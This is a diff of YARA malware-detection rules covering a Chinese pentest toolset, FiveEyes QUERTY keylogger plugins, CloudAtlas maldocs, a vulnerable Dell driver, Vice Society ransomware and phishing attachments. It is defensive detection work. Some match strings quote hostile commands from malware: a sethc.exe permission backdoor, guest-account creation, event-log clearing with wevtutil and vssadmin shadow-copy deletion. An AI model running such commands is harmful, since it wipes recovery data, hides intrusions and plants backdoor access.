-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "897b66a34c58621190cb88e9b2a2a90bf9b71a53"
-		logic_hash = "9c25cf33fc2f675c8db7b24f2abe03d54c0ae17927e0ca9ccd3e5b97ffc56f73"
-		score = 70
-		quality = 85
-		tags = "FILE"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_querty_fiveeyes.yar#L158-L191"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cda9ceaf0a39d6b8211ce96307302a53dfbd71ea"
+		logic_hash = "9c336a09adb5fdf3149e5d0ad716cb854f95effa4ce4dfe3e75f43031e4903ff"
+		score = 75
+		quality = 83
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii
-		$s2 = "/eye2007Admin_login.aspx" fullword ascii
+		$s0 = "This PPC gets the current keystroke log." fullword ascii
+		$s1 = "This command will add the given WindowTitle to the list of Windows to log keys f" ascii
+		$s2 = "This command will remove the WindowTitle corresponding to the given window title" ascii
+		$s3 = "This command will return the current status of the Keyboard Logger (Whether it i" ascii
+		$s4 = "This command Toggles logging of all Keys. If allkeys is toggled all keystrokes w" ascii
+		$s5 = "<definition>Turn logging of all keys on|off</definition>" fullword ascii
+		$s6 = "<name>Get Keystroke Log</name>" fullword ascii
+		$s7 = "<description>Keystroke Logger Lp Plugin</description>" fullword ascii
+		$s8 = "<definition>display help for this function</definition>" fullword ascii
+		$s9 = "This command will switch ON Logging of keys. All keys taht are entered to a acti" ascii
+		$s10 = "Set the log limit (in number of windows)" fullword ascii
+		$s11 = "<example>qwgetlog</example>" fullword ascii
+		$s12 = "<aliasName>qwgetlog</aliasName>" fullword ascii
+		$s13 = "<definition>The title of the Window whose keys you wish to Log once it becomes a" ascii
+		$s14 = "This command will switch OFF Logging of keys. No keystrokes will be captured" fullword ascii
+		$s15 = "<definition>The title of the Window whose keys you no longer whish to log</defin" ascii
+		$s16 = "<command id=\"32\">" fullword ascii
+		$s17 = "<command id=\"3\">" fullword ascii
+		$s18 = "<command id=\"7\">" fullword ascii
+		$s19 = "<command id=\"1\">" fullword ascii
+		$s20 = "<command id=\"4\">" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <280KB and all of them
+		10 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Swordcolledition : FILE
+rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwareqwerty_20120
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file SwordCollEdition.exe"
+		description = "FiveEyes QUERTY Malware - file 20120.xml"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4e8d4d48-c053-5579-be9c-af73ec0fe614"
-		date = "2015-06-23"
+		id = "503c71de-1bc5-5690-944c-a60917a4da09"
+		date = "2015-01-18"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1485-L1500"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6e14f21cac6e2aa7535e45d81e8d1f6913fd6e8b"
-		logic_hash = "bbc5c9bb91bdd60582e2d7f6fa9b1a1cc3799e0809b670d575d9b2c77bf5e884"
-		score = 70
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_querty_fiveeyes.yar#L193-L216"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "597082f05bfd3225587d480c30f54a7a1326a892"
+		logic_hash = "7d2617e0ee41ea475608757594cba8ae93f2dbb09b5d01d1fa3324b32ebb8aa0"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "YuJianScan.exe" fullword wide
-		$s1 = "YuJianScan" fullword ascii
+		$s0 = "<configFileName>20120_cmdDef.xml</configFileName>" fullword ascii
+		$s1 = "<name>20120.dll</name>" fullword ascii
+		$s2 = "<codebase>\"Reserved for future use.\"</codebase>" fullword ascii
+		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
+		$s4 = "<platform type=\"1\">" fullword ascii
+		$s5 = "</plugin>" fullword ascii
+		$s6 = "</pluginConfig>" fullword ascii
+		$s7 = "<pluginConfig>" fullword ascii
+		$s8 = "</platform>" fullword ascii
+		$s9 = "</lpConfig>" fullword ascii
+		$s10 = "<lpConfig>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <225KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Hconstfportable : FILE
+rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwaresig_20121_Cmddef
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file HconSTFportable.exe"
+		description = "FiveEyes QUERTY Malware - file 20121_cmdDef.xml"
 		author = "Florian Roth (Nextron Systems)"
-		id = "591cbd4a-0035-5903-a7dc-8f8ee6dc9f50"
-		date = "2015-06-23"
+		id = "2deb73f7-372e-5d29-a077-431ab1967d93"
+		date = "2015-01-18"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1502-L1517"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "00253a00eadb3ec21a06911a3d92728bbbe80c09"
-		logic_hash = "d4368994d38b87a4c0a53321a468fa8a72411ccb17befa0bbc62bdd6de9e1a52"
-		score = 70
-		quality = 85
-		tags = "FILE"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_querty_fiveeyes.yar#L218-L251"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "64ac06aa4e8d93ea6063eade7ce9687b1d035907"
+		logic_hash = "d73f0e964bd57ed3a2cd782ac204a2b82a9b334e33d64dc61e6414654d7c38d3"
+		score = 75
+		quality = 83
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "HconSTFportable.exe" fullword wide
-		$s2 = "www.Hcon.in" fullword wide
+		$s0 = "<shortDescription>Keystroke Logger Plugin.</shortDescription>" fullword ascii
+		$s1 = "<message>Failed to get File Time</message>" fullword ascii
+		$s2 = "<description>Keystroke Logger Plugin.</description>" fullword ascii
+		$s3 = "<message>Failed to set File Time</message>" fullword ascii
+		$s4 = "</commands>" fullword ascii
+		$s5 = "<commands>" fullword ascii
+		$s6 = "</version>" fullword ascii
+		$s7 = "<associatedImplantId>20120</associatedImplantId>" fullword ascii
+		$s8 = "<message>No Comms. with Driver</message>" fullword ascii
+		$s9 = "</error>" fullword ascii
+		$s10 = "<message>Invalid File Size</message>" fullword ascii
+		$s11 = "<platforms>Windows (User/Win32)</platforms>" fullword ascii
+		$s12 = "<message>File Size Mismatch</message>" fullword ascii
+		$s13 = "<projectpath>plugin/Utility</projectpath>" fullword ascii
+		$s14 = "<pluginsDepend>None</pluginsDepend>" fullword ascii
+		$s15 = "<dllDepend>None</dllDepend>" fullword ascii
+		$s16 = "<pluginname>E_QwertyIM</pluginname>" fullword ascii
+		$s17 = "<rightsRequired>None</rightsRequired>" fullword ascii
+		$s18 = "<minorType>0</minorType>" fullword ascii
+		$s19 = "<code>00001002</code>" fullword ascii
+		$s20 = "<code>00001001</code>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <354KB and all of them
+		12 of them
 }
-rule SIGNATURE_BASE_CN_Honker_T00Ls_Lpk_Sethc_V3_LPK : FILE
+rule SIGNATURE_BASE_APT_MAL_Maldoc_Cloudatlas_Oct20_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
+		description = "Detects unknown maldoc dropper noticed in October 2020"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c5b806d9-74dc-5244-b1e0-9837abeaeaac"
-		date = "2015-06-23"
+		id = "e7caf2b2-caf2-5984-a792-8224f2641bda"
+		date = "2020-10-13"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1519-L1536"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cf2549bbbbdb7aaf232d9783873667e35c8d96c1"
-		logic_hash = "20e949bef1c1631ef2a48c78c2ccc4dcea2f842275ec5df3e31c5d915e8a2a04"
-		score = 70
+		reference = "https://twitter.com/jfslowik/status/1316050637092651009"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cloudatlas.yar#L2-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "772bdd8ec89edf2054e675e9ecb321a7bfe0307a7086a4e5b65f8d8b8cf80ecc"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7ba76b2311736dbcd4f2817c40dae78f223366f2404571cd16d6676c7a640d70"
 
 	strings:
-		$s1 = "FreeHostKillexe.exe" fullword ascii
-		$s2 = "\\sethc.exe /G everyone:F" ascii
-		$s3 = "c:\\1.exe" fullword ascii
-		$s4 = "Set user Group Error! Username:" fullword ascii
+		$x1 = "https://msofficeupdate.org" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		uint16(0)==0xcfd0 and filesize <300KB and 1 of ($x*)
 }
-rule SIGNATURE_BASE_CN_Honker_Without_A_Trace_Wywz : FILE
+rule SIGNATURE_BASE_APT_MAL_URL_Cloudatlas_Oct20_2 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Wywz.exe"
+		description = "Detects unknown maldoc dropper noticed in October 2020 - file morgue6visible5bunny6culvert7ambo5nun1illuminate4.url"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1093c0c3-499f-5aec-ad4a-878d377296d5"
-		date = "2015-06-23"
+		id = "91f6362f-1793-58a3-a750-04ec9812b9df"
+		date = "2020-10-13"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1538-L1554"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f443c43fde643228ee95def5c8ed3171f16daad8"
-		logic_hash = "0f6ca7d44312afef49d3094af7b33af5e41f4531e7e7f9f37cf050700755bb3e"
-		score = 70
+		reference = "https://twitter.com/jfslowik/status/1316050637092651009"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cloudatlas.yar#L18-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8bb60c262a34babbe8839f5d39d1c972eeb41ea77eaae02cc877d908c7033f13"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a6a58b614a9f5ffa1d90b5d42e15521f52e2295f02c1c0e5cd9cbfe933303bee"
 
 	strings:
-		$s1 = "\\Symantec\\Norton Personal Firewall\\Log\\Content.log" ascii
-		$s2 = "UpdateFile=d:\\tool\\config.ini,Option\\\\proxyIp=127.0.0.1\\r\\nproxyPort=808" ascii
-		$s3 = "%s\\subinacl.exe /subkeyreg \"%s\" /Grant=%s=f /Grant=everyone=f" fullword ascii
+		$hc1 = { 5B 49 6E 74 65 72 6E 65 74 53 68 6F 72 74 63 75
+               74 5D 0D 0A 55 52 4C 3D 68 74 74 70 73 3A 2F 2F
+               6D 73 6F 66 66 69 63 65 75 70 64 61 74 65 2E 6F
+               72 67 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1800KB and all of them
+		uint16(0)==0x495b and filesize <200 and $hc1 at 0
 }
-rule SIGNATURE_BASE_CN_Honker_LPK2_0_LPK : FILE
+rule SIGNATURE_BASE_VULN_Dell_BIOS_Update_Driver_Dbutil_May21 : CVE_2021_21551 FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
+		description = "Detects vulnerable DELL BIOS update driver that allows privilege escalation as reported in CVE-2021-21551 - DBUtil_2_3.Sys - note: it's usual location is in the C:\\Windows\\Temp folder"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4aa40b78-5fe4-5312-881c-e5a292435ff0"
-		date = "2015-06-23"
+		id = "6d46866e-40fb-5fbf-b159-6bf688e638cb"
+		date = "2021-05-05"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1556-L1573"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5a1226e73daba516c889328f295e728f07fdf1c3"
-		logic_hash = "d693b880d5419277d9189d44ace60fe5f328b4662c1975a8bc97e63dc073d1e6"
-		score = 70
+		reference = "https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vul_dell_bios_upd_driver.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9cefb9fe28e818a3b0bc1c9ac570ddf2fac7ebf23408963656b7ec86d5bf3224"
+		score = 60
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2021-21551, FILE"
+		hash1 = "0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5"
+		hash2 = "ddbf5ecca5c8086afde1fb4f551e9e6400e94f4428fe7fb5559da5cffa654cc1"
 
 	strings:
-		$s1 = "\\sethc.exe /G everyone:F" ascii
-		$s2 = "net1 user guest guest123!@#" fullword ascii
-		$s3 = "\\dllcache\\sethc.exe" ascii
-		$s4 = "sathc.exe 211" fullword ascii
+		$s1 = "\\DBUtilDrv2" ascii
+		$s2 = "DBUtil_2_3.Sys" ascii fullword
+		$s3 = "[ Dell BIOS Utility Driver - " ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1030KB and all of them
+		uint16(0)==0x5a4d and filesize <50KB and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Cleaniis : FILE
+rule SIGNATURE_BASE_APT_MAL_RANSOM_Vicesociety_Polyvice_Jan23_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file cleaniis.exe"
+		description = "Detects NTRU-ChaChaPoly (PolyVice) malware used by Vice Society"
 		author = "Florian Roth (Nextron Systems)"
-		id = "75f3c33a-e3b8-57bc-a3fd-f8b6491388d8"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1575-L1590"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "372bc64c842f6ff0d9a1aa2a2a44659d8b88cb40"
-		logic_hash = "6f3fe22c9ce8b576116a3fc185910488f37b687c1158d49a93feaa68a144a8db"
-		score = 70
-		quality = 85
+		id = "e450407c-6c21-56bf-aedf-8e7f3890abe2"
+		date = "2023-01-12"
+		modified = "2023-01-13"
+		reference = "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ransom_vicesociety_dec22.yar#L2-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c7b76a693e5666515afee5c819b21e119ce5f1b0be675252673e6a24251ce8d"
+		score = 75
+		quality = 60
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "326a159fc2e7f29ca1a4c9a64d45b76a4a072bc39ba864c49d804229c5f6d796"
+		hash2 = "8c8cb887b081e0d92856fb68a7df0dabf0b26ed8f0a6c8ed22d785e596ce87f4"
+		hash3 = "9d9e949ecd72d7a7c4ae9deae4c035dcae826260ff3b6e8a156240e28d7dbfef"
 
 	strings:
-		$s1 = "iisantidote <logfile dir> <ip or string to hide>" fullword ascii
-		$s4 = "IIS log file cleaner by Scurt" fullword ascii
+		$x1 = "C:\\Users\\root\\Desktop\\niX\\CB\\libntru\\" ascii
+		$s1 = "C:\\Users\\root" ascii fullword
+		$s2 = "#DBG: target = %s" ascii fullword
+		$s3 = "# ./%s [-p <path>]/[-f <file> ] [-e <enc.extension>] [-m <requirements file name>]" ascii fullword
+		$s4 = "### ################# ###" ascii fullword
+		$op1 = { 89 ca 41 01 fa 89 ef 8b 6c 24 24 44 89 c9 09 d1 44 31 e6 89 c8 }
+		$op2 = { bd 02 00 00 00 29 cd 48 0f bf d1 8b 44 46 02 01 44 53 02 8d 54 0d 00 83 c1 02 48 0f bf c2 }
+		$op3 = { 48 29 c4 4c 8d 74 24 30 4c 89 f1 e8 46 3c 00 00 84 c0 41 89 c4 0f 85 2b 02 00 00 0f b7 45 f2 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) or 2 of them ) or 4 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Arp3_7_Arp3_7 : FILE
+rule SIGNATURE_BASE_APT_MAL_RANSOM_Vicesociety_Chily_Jan23_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file arp3.7.exe"
+		description = "Detects Chily or SunnyDay malware used by Vice Society"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a4aeefaf-a097-5ba3-a18f-54a1b9752883"
-		date = "2015-06-23"
+		id = "1be4adb9-e60c-5023-9230-07f5fd16daaa"
+		date = "2023-01-12"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1592-L1607"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "db641a9dfec103b98548ac7f6ca474715040f25c"
-		logic_hash = "9930d5f13c4dc5cae25dece811911e71e858e3fef51a09c99883699e7feb4908"
-		score = 70
-		quality = 85
+		reference = "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ransom_vicesociety_dec22.yar#L33-L63"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fc2967d86bf73033e68b8b9409a197ae8f7fcdf06e1e2a17e3d277d243caa541"
+		score = 80
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4dabb914b8a29506e1eced1d0467c34107767f10fdefa08c40112b2e6fc32e41"
 
 	strings:
-		$s1 = "CnCerT.Net.SKiller.exe" fullword wide
-		$s2 = "www.80sec.com" fullword wide
+		$x1 = ".[Chily@Dr.Com]" ascii fullword
+		$s1 = "localbitcoins.com/buy_bitcoins'>https://localbitcoins.com/buy_bitcoins</a>" ascii fullword
+		$s2 = "C:\\Users\\root\\Desktop" ascii fullword
+		$s3 = "for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"" wide fullword
+		$s4 = "cd %userprofile%\\documents\\" wide
+		$s5 = "noise.bmp" wide fullword
+		$s6 = " Execution time: %fms (1sec=1000ms)" ascii fullword
+		$s7 = "/c vssadmin.exe Delete Shadows /All /Quiet" wide fullword
+		$op1 = { 4c 89 c5 89 ce 89 0d f5 41 02 00 4c 89 cf 44 8d 04 49 0f af f2 89 15 e9 41 02 00 44 89 c0 }
+		$op2 = { 48 8b 03 48 89 d9 ff 50 10 84 c0 0f 94 c0 01 c0 48 83 c4 20 5b }
+		$op3 = { 31 c0 47 8d 2c 00 45 85 f6 4d 63 ed 0f 8e ec 00 00 00 0f 1f 80 00 00 00 00 0f b7 94 44 40 0c 00 00 83 c1 01 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <4000KB and all of them
+		uint16(0)==0x5a4d and filesize <500KB and (1 of ($x*) or 3 of them ) or 4 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Exp_Ms11080 : FILE
+rule SIGNATURE_BASE_SUSP_ZIP_LNK_Phishattachment_Pattern_Jun22_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file ms11080.exe"
+		description = "Detects suspicious tiny ZIP files with phishing attachment characteristics"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2f5ce2f3-3595-5729-be0c-3f6486cb94fd"
-		date = "2015-06-23"
+		id = "3537c4ea-a51d-5100-97d7-71a24da5ff43"
+		date = "2022-06-23"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1609-L1624"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f0854c49eddf807f3a7381d3b20f9af4a3024e9f"
-		logic_hash = "57eb1cdd1108c82da399b0aa869edc9e377e0185896504716bec8925599c07f0"
-		score = 70
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_phish_attachments.yar#L2-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2ff398379e3d8112991eeacd99bf9d3bafbf3e9266f012d2539d6b2661d5969e"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4edb41f4645924d8a73e7ac3e3f39f4db73e38f356bc994ad7d03728cd799a48"
+		hash2 = "c4fec375b44efad2d45c49f30133efbf6921ce82dbb2d1a980f69ea6383b0ab4"
+		hash3 = "9c70eeac97374213355ea8fa019a0e99e0e57c8efc43daa3509f9f98fa71c8e4"
+		hash4 = "ddc20266e38a974a28af321ab82eedaaf51168fbcc63ac77883d8be5200dcaf9"
+		hash5 = "b59788ae984d9e70b4f7f5a035b10e6537063f15a010652edd170fc6a7e1ea2f"
 
 	strings:
-		$s2 = "[*] command add user 90sec 90sec" fullword ascii
-		$s6 = "[*] Add to Administrators success" fullword ascii
+		$sl1 = ".lnk"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <840KB and all of them
+		uint16(0)==0x4b50 and filesize <2KB and $sl1 in ( filesize -256.. filesize )
 }
-rule SIGNATURE_BASE_CN_Honker_Injection_Transit : FILE
+rule SIGNATURE_BASE_SUSP_ZIP_ISO_Phishattachment_Pattern_Jun22_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Injection_transit.exe"
+		description = "Detects suspicious small base64 encoded ZIP files (MIME email attachments) with .iso files as content as often used in phishing attacks"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8600c86f-0da1-5ddb-bae5-69358cf53e7c"
-		date = "2015-06-23"
+		id = "638541a6-d2d4-513e-978c-9d1b9f5e3b71"
+		date = "2022-06-23"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1626-L1642"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f4fef2e3d310494a3c3962a49c7c5a9ea072b2ea"
-		logic_hash = "3e6fe804b9b6e8555c847a165bb0a8b266004653531fe8f11e3937108757f2ff"
-		score = 70
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_phish_attachments.yar#L23-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "21de56d6209050b429c0cce82fd334d1b38a2a3727db5ead06f36fa9d503e193"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<description>Your app description here</description> " fullword ascii
-		$s4 = "Copyright (C) 2003 ZYDSoft Corp." fullword wide
-		$s5 = "ScriptnackgBun" fullword ascii
+		$pkzip_base64_1 = { 0A 55 45 73 44 42 }
+		$pkzip_base64_2 = { 0A 55 45 73 44 42 }
+		$pkzip_base64_3 = { 0A 55 45 73 48 43 }
+		$iso_1 = "Lmlzb1BL"
+		$iso_2 = "5pc29QS"
+		$iso_3 = "uaXNvUE"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3175KB and all of them
+		filesize <2000KB and 1 of ($pk*) and 1 of ($iso*)
 }
-rule SIGNATURE_BASE_CN_Honker_Safe3Wvs : FILE
+rule SIGNATURE_BASE_SUSP_Archive_Phishing_Attachment_Characteristics_Jun22_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Safe3WVS.EXE"
+		description = "Detects characteristics of suspicious file names or double extensions often found in phishing mail attachments"
 		author = "Florian Roth (Nextron Systems)"
-		id = "035ecb73-3dbc-55d2-8d0c-b71308094d18"
-		date = "2015-06-23"
+		id = "3cb8c371-f40b-5773-84d1-3bce37da529e"
+		date = "2022-06-29"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1644-L1662"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fee3acacc763dc55df1373709a666d94c9364a7f"
-		logic_hash = "803591fa9427c3001f78ae6274076f3a2f070770d568909d6cba8cee5124ee4c"
-		score = 70
-		quality = 85
+		reference = "https://twitter.com/0xtoxin/status/1540524891623014400?s=12&t=IQ0OgChk8tAIdTHaPxh0Vg"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_phish_attachments.yar#L43-L141"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "647044fa3b5cf6f0e9e738fa7b7d24f8918b7a7fb359342e1314d97b50debf87"
+		score = 65
+		quality = 60
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "caaa5c5733fca95804fffe70af82ee505a8ca2991e4cc05bc97a022e5f5b331c"
+		hash2 = "a746d8c41609a70ce10bc69d459f9abb42957cc9626f2e83810c1af412cb8729"
 
 	strings:
-		$s0 = "2TerminateProcess" fullword ascii
-		$s1 = "mscoreei.dll" fullword ascii
-		$s7 = "SafeVS.exe" fullword wide
-		$s8 = "www.safe3.com.cn" fullword wide
